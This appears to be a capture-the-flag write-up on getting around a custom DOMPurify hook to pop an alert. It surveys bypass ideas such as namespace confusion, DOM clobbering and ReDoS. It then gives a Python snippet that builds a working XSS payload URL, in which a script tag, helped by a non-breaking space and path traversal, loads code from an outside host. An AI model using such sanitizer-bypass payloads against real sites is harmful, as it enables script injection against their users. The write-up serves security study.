Pop an alert
.
The solution:
- Should only use the provided endpoint;
- Must not involve user interaction.
We have a web challenge (hopefully without deadline) which allows us to play with the latest version of DOMPurify
sanitizer:
<!DOCTYPE>
<html>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js"></script>
<iframe id="output" frameborder="0" srcdoc="<b>Hello</b>"></iframe>
<div id="source">
<script>
DOMPurify.addHook("beforeSanitizeElements", (node) => {
if(node.nodeType === 1 && node.tagName.toUpperCase() === "SCRIPT") {
if(node.namespaceURI !== "http://www.w3.org/1999/xhtml" ||
node.src !== "http://localhost/try_harder.js") { node.remove();
}//node.src !== "https://fiddle.jshell.net/_display/try_harder.js"
else { node.innerText = ""; node.innerHTML = ""; }
}
});
const params = new URLSearchParams(location.search); // `0<script/src=' //nj.rs/../../../try_harder.js'>`
output.srcdoc = DOMPurify.sanitize(params.get("html") || "<b>Hello</b>", {ADD_TAGS:["script"]});
// source.innerText = document.body.innerHTML;
</script>
</div>
</html>
The problem with this kind of use case, which is not really one as some would say, is that it remains difficult to properly debug
everything that happens before/after the sanitization.
Optimistically there are a whole bunch of things we can do on our updated browser as:
- Using data URI scheme;
- CSS imports that are not purified by default;
- Different
HTML
attributes like<img><script/href=//nj.rs src=try_harder.js is hidden type=document>
; - Changing the namespace context of a
<script>
tag within<svg>
,<math>
tags with non-breaking space; - ReDos on some regex/html code like
console.info(document.createRange().createContextualFragment('<audio>'.repeat(149)).children[0])
or'}\x00'.repeat(38730)+'}'
locally; - Path traversal as proposed by
DeepSeek
; - DOM Clobbering as
<form><input/name=tagName>
where thetagName
property will crash onnode.tagName.toUpperCase is not a function
.
Thus if we search for old writeups, blogs about nested tags, mXSS
with SVG elements, namespace confusion and versions of DOMPurify
we can hope that all of this could be useful.
We should therefore try to change the current URL of all relative paths within the valid src
property to execute our payload instead:
node | namespaceURI | src | tagName | nodeType | |
---|---|---|---|---|---|
NODE | <body>"0"<script src="//nj.rs/../../../try_harder.js"></script></body> |
http://www.w3.org/1999/xhtml |
undefined |
BODY |
1 |
NODE | "0" |
undefined |
undefined |
undefined |
3 |
NODE | <base href="//host"> |
http://www.w3.org/1999/xhtml |
undefined |
BASE |
1 |
NODE | <script src=" //nj.rs/../../../try_harder.js"></script> |
http://www.w3.org/1999/xhtml |
http://localhost/try_harder.js |
SCRIPT |
1 |
host, xss = "//localhost/", "//nj.rs" # $ touch ~/favicon.ico && python -m http.server 80
enc = __import__("urllib.parse").parse.quote(f'0<script/src= {xss}/../../../try_harder.js>',safe='<>"')
print(f'http://localhost/poc.htm?html={enc}') # It should work with(out) `<base/href={host}>` tag given the local context
# http://localhost/poc.htm?html=0<script%2Fsrc%3D%26nbsp%2F%2Fnj.rs%2F..%2F..%2F..%2Ftry_harder.js>
# Will alert nj.rs => `javascript:alert(document.domain),1`
A nice challenge which asks us to dig deeper into every tiny details!